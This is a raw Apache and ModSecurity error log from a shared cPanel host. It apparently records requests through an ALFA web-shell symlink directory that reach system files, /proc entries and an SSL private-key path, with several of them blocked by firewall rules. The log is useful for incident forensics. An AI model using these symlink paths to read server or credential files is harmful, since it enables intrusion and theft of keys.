[Mon Oct 26 05:53:26.220417 2026] [security2:error] [pid 3002067:tid 3002067] [client 18.207.79.144:50408] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/physical_node/driver/0000:00:05.0/subsystem/slots/21/module/parameters/"] [unique_id "at8jFlsig8HGQd7z4PYTGgAAAAM"]
[Mon Oct 26 05:53:26.220451 2026] [security2:error] [pid 3002067:tid 3002067] [client 18.207.79.144:50408] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/physical_node/driver/0000:00:05.0/subsystem/slots/21/module/parameters/"] [unique_id "at8jFlsig8HGQd7z4PYTGgAAAAM"]
[Mon Oct 26 05:53:38.140350 2026] [core:error] [pid 3000174:tid 3000174] (13)Permission denied: [client 34.230.124.21:3610] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/virtual/tty/tty11/subsystem/tty0/subsystem/ttyS2/type
[Mon Oct 26 05:53:39.962422 2026] [core:error] [pid 3007413:tid 3007413] (13)Permission denied: [client 185.191.171.10:40030] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/proc_dir_entry/red_zone
[Mon Oct 26 05:53:46.131901 2026] [ssl:error] [pid 3002067:tid 3002067] (70014)End of file found: [client 54.144.185.255:9076] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:53:47.513834 2026] [core:error] [pid 3008090:tid 3008090] (13)Permission denied: [client 85.208.96.198:15046] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/nf_conntrack/parameters/hashsize
[Mon Oct 26 05:53:54.343791 2026] [ssl:error] [pid 3000048:tid 3000048] (70014)End of file found: [client 54.87.95.7:41559] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:54:06.161845 2026] [ssl:error] [pid 3002067:tid 3002067] (70014)End of file found: [client 34.239.197.197:57854] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:54:18.138802 2026] [ssl:error] [pid 3000048:tid 3000048] (70014)End of file found: [client 52.4.238.8:33462] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:54:22.136066 2026] [core:error] [pid 3000181:tid 3000181] (13)Permission denied: [client 52.204.89.12:37990] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sys/class/tty/tty28/subsystem/ttyS1/iomem_base
[Mon Oct 26 05:54:42.132626 2026] [ssl:error] [pid 3008715:tid 3008715] (70014)End of file found: [client 3.93.253.174:29910] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:54:46.122575 2026] [ssl:error] [pid 3004471:tid 3004471] (5)Input/output error: [client 3.225.9.97:44945] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:54:58.735865 2026] [security2:error] [pid 3010063:tid 3010063] [client 185.191.171.6:28954] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/cf21e_3accf_9ca81e51fb22481c9d043d573762b2c8.key"] [unique_id "at8jclQCSjBN4LPVCMiS_QAAABA"]
[Mon Oct 26 05:54:58.736305 2026] [security2:error] [pid 3010063:tid 3010063] [client 185.191.171.6:28954] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/cf21e_3accf_9ca81e51fb22481c9d043d573762b2c8.key"] [unique_id "at8jclQCSjBN4LPVCMiS_QAAABA"]
[Mon Oct 26 05:54:58.736746 2026] [security2:error] [pid 3010063:tid 3010063] [client 185.191.171.6:28954] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/cf21e_3accf_9ca81e51fb22481c9d043d573762b2c8.key"] [unique_id "at8jclQCSjBN4LPVCMiS_QAAABA"]
[Mon Oct 26 05:55:02.141993 2026] [ssl:error] [pid 3010070:tid 3010070] (70014)End of file found: [client 52.6.97.88:41947] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:55:04.750855 2026] [security2:error] [pid 3010074:tid 3010074] [client 43.155.26.193:55902] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/error.log"] [unique_id "at8jeCz2IVlcktcA6K03WwAAABg"]
[Mon Oct 26 05:55:04.751043 2026] [security2:error] [pid 3010074:tid 3010074] [client 43.155.26.193:55902] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/error.log"] [unique_id "at8jeCz2IVlcktcA6K03WwAAABg"]
[Mon Oct 26 05:55:04.751555 2026] [security2:error] [pid 3010074:tid 3010074] [client 43.155.26.193:55902] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/error.log"] [unique_id "at8jeCz2IVlcktcA6K03WwAAABg"]
[Mon Oct 26 05:55:04.751961 2026] [security2:error] [pid 3010074:tid 3010074] [client 43.155.26.193:55902] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/error.log"] [unique_id "at8jeCz2IVlcktcA6K03WwAAABg"]
[Mon Oct 26 05:55:06.124598 2026] [ssl:error] [pid 3010079:tid 3010079] (70014)End of file found: [client 23.22.59.87:20698] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:55:10.236708 2026] [ssl:error] [pid 3010067:tid 3010067] (70014)End of file found: [client 54.147.80.137:55145] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:55:18.133179 2026] [ssl:error] [pid 3010063:tid 3010063] (70014)End of file found: [client 34.239.197.197:7319] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:55:22.127936 2026] [ssl:error] [pid 3000174:tid 3000174] (70014)End of file found: [client 100.24.167.60:22243] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:55:26.148524 2026] [ssl:error] [pid 3010074:tid 3010074] (70014)End of file found: [client 18.209.137.234:39987] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:55:53.630280 2026] [core:error] [pid 3000052:tid 3000052] (13)Permission denied: [client 85.208.96.208:63244] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dmaengine-unmap-256/aliases
[Mon Oct 26 05:56:02.144924 2026] [ssl:error] [pid 3007413:tid 3007413] (70014)End of file found: [client 3.221.222.168:28004] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:56:06.129065 2026] [ssl:error] [pid 3010074:tid 3010074] (70014)End of file found: [client 34.202.88.37:32813] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:56:19.578362 2026] [authz_core:error] [pid 3010072:tid 3010072] [client 23.22.243.211:58897] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 05:56:30.226776 2026] [ssl:error] [pid 3010076:tid 3010076] (70014)End of file found: [client 3.213.46.222:52670] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:56:45.701526 2026] [core:error] [pid 3010067:tid 3010067] (13)Permission denied: [client 185.191.171.3:43566] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-Operand/ctor
[Mon Oct 26 05:56:46.230864 2026] [ssl:error] [pid 2993961:tid 2993961] (70014)End of file found: [client 18.209.201.119:45210] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:56:58.318587 2026] [authz_core:error] [pid 3010062:tid 3010062] [client 205.210.31.148:63208] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 05:57:02.176263 2026] [ssl:error] [pid 3010074:tid 3010074] (70014)End of file found: [client 3.224.205.25:15946] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:57:06.133179 2026] [ssl:error] [pid 3010076:tid 3010076] (70014)End of file found: [client 18.210.58.238:20846] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:57:10.136145 2026] [core:error] [pid 2995190:tid 2995190] (13)Permission denied: [client 34.231.156.59:44805] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory4/node0/memory0/node0/cpu0/crash_notes_size
[Mon Oct 26 05:57:14.128516 2026] [ssl:error] [pid 3010067:tid 3010067] (70014)End of file found: [client 3.94.40.182:35016] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:57:22.088137 2026] [security2:error] [pid 2995190:tid 2995190] [client 85.208.96.196:26320] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/etc/cpspamd.conf"] [unique_id "at8kAh_ViEB4VmIsS1QWrwAAAAw"]
[Mon Oct 26 05:57:22.088761 2026] [security2:error] [pid 2995190:tid 2995190] [client 85.208.96.196:26320] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/etc/cpspamd.conf"] [unique_id "at8kAh_ViEB4VmIsS1QWrwAAAAw"]
[Mon Oct 26 05:57:22.089227 2026] [security2:error] [pid 2995190:tid 2995190] [client 85.208.96.196:26320] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/etc/cpspamd.conf"] [unique_id "at8kAh_ViEB4VmIsS1QWrwAAAAw"]
[Mon Oct 26 05:57:22.146998 2026] [ssl:error] [pid 3000174:tid 3000174] (70014)End of file found: [client 18.209.137.234:34684] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:57:38.146038 2026] [ssl:error] [pid 2995190:tid 2995190] (70014)End of file found: [client 23.21.148.226:44740] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:57:40.514069 2026] [core:error] [pid 3000174:tid 3000174] (13)Permission denied: [client 185.191.171.15:36242] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dquot/cache_dma
[Mon Oct 26 05:57:41.854595 2026] [ssl:error] [pid 3007413:tid 3007413] (70014)End of file found: [client 85.208.96.197:35690] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:57:50.158336 2026] [core:error] [pid 3010076:tid 3010076] (13)Permission denied: [client 3.218.35.239:51294] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/virtual/tty/tty11/subsystem/ptmx/subsystem/ttyS2/closing_wait
[Mon Oct 26 05:57:54.170114 2026] [ssl:error] [pid 2995190:tid 2995190] (70014)End of file found: [client 3.210.114.189:53931] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:57:58.147529 2026] [ssl:error] [pid 3007413:tid 3007413] (70014)End of file found: [client 18.214.251.19:33451] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:58:01.243022 2026] [ssl:error] [pid 3010070:tid 3010070] (70014)End of file found: [client 185.191.171.4:41646] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:58:02.262528 2026] [ssl:error] [pid 3000052:tid 3000052] (70014)End of file found: [client 100.24.167.60:59661] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:58:14.128189 2026] [ssl:error] [pid 3002822:tid 3002822] (5)Input/output error: [client 50.16.216.166:1574] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:58:22.203771 2026] [core:error] [pid 3000052:tid 3000052] (13)Permission denied: [client 34.236.41.241:45003] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/memory1/node0/cpu0/firmware_node/subsystem/devices/device:0c/eject
[Mon Oct 26 05:58:34.128183 2026] [ssl:error] [pid 3010062:tid 3010062] (70014)End of file found: [client 50.16.72.185:32945] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:58:36.900189 2026] [core:error] [pid 3000174:tid 3000174] (13)Permission denied: [client 185.191.171.15:41466] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-128/cpu_partial
[Mon Oct 26 05:58:40.840481 2026] [core:crit] [pid 3000052:tid 3000052] (13)Permission denied: [client 34.151.200.147:27524] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Mon Oct 26 05:58:46.312960 2026] [ssl:error] [pid 2993961:tid 2993961] (70014)End of file found: [client 44.223.116.149:4490] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:58:54.354636 2026] [ssl:error] [pid 3010074:tid 3010074] (70014)End of file found: [client 100.29.63.24:56151] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:58:58.370773 2026] [core:error] [pid 3010062:tid 3010062] (13)Permission denied: [client 52.45.77.169:19334] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory11/node0/cpu1/node0/cpu1/firmware_node/subsystem/drivers/battery/uevent
[Mon Oct 26 05:59:02.201704 2026] [ssl:error] [pid 3010076:tid 3010076] (70014)End of file found: [client 54.225.181.161:16487] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:59:26.283458 2026] [ssl:error] [pid 3010072:tid 3010072] (5)Input/output error: [client 44.215.231.15:16842] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:59:51.060460 2026] [ssl:error] [pid 3010074:tid 3010074] (70014)End of file found: [client 100.29.128.75:24410] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:00:02.670761 2026] [ssl:error] [pid 2995190:tid 2995190] (70014)End of file found: [client 185.191.171.18:37240] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:00:14.820117 2026] [ssl:error] [pid 3010072:tid 3010072] (70014)End of file found: [client 18.213.102.186:21196] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:00:18.303855 2026] [core:error] [pid 2995190:tid 2995190] (13)Permission denied: [client 54.91.122.193:49545] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/pcspkr/drivers/platform:pcspkr/pcspkr/input/input5/subsystem/input4/device/subsystem/devices/serio0/drvctl
[Mon Oct 26 06:00:32.817646 2026] [core:error] [pid 3010072:tid 3010072] (13)Permission denied: [client 85.208.96.201:37316] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kvm_async_pf/ctor
[Mon Oct 26 06:00:38.468477 2026] [ssl:error] [pid 3003501:tid 3003501] (70014)End of file found: [client 52.71.46.142:49694] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:00:46.521738 2026] [ssl:error] [pid 3000155:tid 3000155] (70014)End of file found: [client 98.83.178.66:39001] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:00:53.315278 2026] [core:error] [pid 2993961:tid 2993961] (13)Permission denied: [client 85.208.96.197:41062] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/key_jar/objects
[Mon Oct 26 06:00:54.453399 2026] [ssl:error] [pid 3010070:tid 3010070] (70014)End of file found: [client 100.28.49.152:25237] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:00:59.154911 2026] [ssl:error] [pid 2995190:tid 2995190] (70014)End of file found: [client 3.225.45.252:11778] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:01:02.384725 2026] [ssl:error] [pid 3010062:tid 3010062] (70014)End of file found: [client 3.209.174.110:36875] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:01:10.507761 2026] [core:error] [pid 2995190:tid 2995190] (13)Permission denied: [client 185.191.171.14:28152] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/net/rpc/auth.unix.ip/content
[Mon Oct 26 06:01:14.423263 2026] [core:error] [pid 3010070:tid 3010070] (13)Permission denied: [client 54.204.62.163:53451] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/wakeup/wakeup4/subsystem/wakeup7/device/subsystem/devices/PNP0A03:00/device:1b/eject
[Mon Oct 26 06:01:22.521615 2026] [ssl:error] [pid 2995190:tid 2995190] (70014)End of file found: [client 184.73.167.217:6779] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:01:26.420881 2026] [ssl:error] [pid 3010062:tid 3010062] (70014)End of file found: [client 35.169.240.53:28293] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:01:34.893558 2026] [ssl:error] [pid 3008090:tid 3008090] (5)Input/output error: [client 52.7.33.248:50473] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:01:37.044331 2026] [security2:error] [pid 3007413:tid 3007413] [client 107.172.76.131:52928] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at8k9dvqVFJk9gq0xgTkmwAAAAo"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Mon Oct 26 06:01:37.044396 2026] [security2:error] [pid 3007413:tid 3007413] [client 107.172.76.131:52928] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at8k9dvqVFJk9gq0xgTkmwAAAAo"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Mon Oct 26 06:01:38.633370 2026] [core:error] [pid 2995190:tid 2995190] (13)Permission denied: [client 18.206.47.187:38838] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/physical_node/driver/0000:00:05.0/subsystem/slots/23/module/uevent
[Mon Oct 26 06:01:41.922267 2026] [core:error] [pid 3010070:tid 3010070] (13)Permission denied: [client 185.191.171.19:53092] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/drm_shmem_helper/sections/__kcrctab_gpl
[Mon Oct 26 06:01:42.518743 2026] [core:error] [pid 3010062:tid 3010062] (13)Permission denied: [client 52.203.152.231:35038] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/subsystem/devices/device:1d/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.2/resource4
[Mon Oct 26 06:01:58.628411 2026] [ssl:error] [pid 3010062:tid 3010062] (70014)End of file found: [client 34.205.163.103:55802] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:02:10.737109 2026] [ssl:error] [pid 3010062:tid 3010062] (70014)End of file found: [client 54.167.32.123:47051] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:02:13.057087 2026] [security2:error] [pid 3011079:tid 3011079] [client 175.178.110.121:45494] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "curso-de-ventas.com"] [uri "/"] [unique_id "at8lJcgik5L9rcLL2-u_SwAAAAA"]
[Mon Oct 26 06:02:13.058168 2026] [authz_core:error] [pid 3011079:tid 3011079] [client 175.178.110.121:45494] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 06:02:14.609526 2026] [ssl:error] [pid 3007564:tid 3007564] (70014)End of file found: [client 3.218.35.239:11024] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:02:18.533772 2026] [ssl:error] [pid 3000174:tid 3000174] (70014)End of file found: [client 34.224.9.144:18616] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:02:31.002589 2026] [ssl:error] [pid 3011079:tid 3011079] (70014)End of file found: [client 44.214.19.8:20101] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:02:34.699742 2026] [ssl:error] [pid 3007564:tid 3007564] (70014)End of file found: [client 50.19.79.213:28389] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:02:38.580456 2026] [ssl:error] [pid 3002822:tid 3002822] (70014)End of file found: [client 52.5.242.243:42865] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:02:50.573856 2026] [ssl:error] [pid 3007564:tid 3007564] (70014)End of file found: [client 34.195.248.30:41384] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:02:56.389045 2026] [core:error] [pid 3002822:tid 3002822] (13)Permission denied: [client 85.208.96.205:25760] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fib6_nodes/min_partial
[Mon Oct 26 06:02:58.606758 2026] [ssl:error] [pid 3000155:tid 3000155] (70014)End of file found: [client 52.202.233.37:41274] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:03:10.948922 2026] [ssl:error] [pid 3010062:tid 3010062] (70014)End of file found: [client 100.28.57.133:24830] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:03:22.794753 2026] [ssl:error] [pid 3010074:tid 3010074] (70014)End of file found: [client 52.6.232.201:57496] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:03:35.054370 2026] [ssl:error] [pid 3000174:tid 3000174] (70014)End of file found: [client 54.209.100.30:7577] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:03:39.970587 2026] [authz_core:error] [pid 3010074:tid 3010074] [client 20.194.0.112:10861] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 06:03:42.872295 2026] [core:error] [pid 3010062:tid 3010062] (13)Permission denied: [client 34.231.45.47:63555] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.2/subsystem/devices/0000:00:04.0/firmware_node/physical_node/resource1
[Mon Oct 26 06:04:16.511566 2026] [security2:error] [pid 3010063:tid 3010063] [client 107.172.76.131:52930] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at8llFQCSjBN4LPVCMiTFAAAABA"], referer: https://bases1.sherwinpinturas.com/beta.php
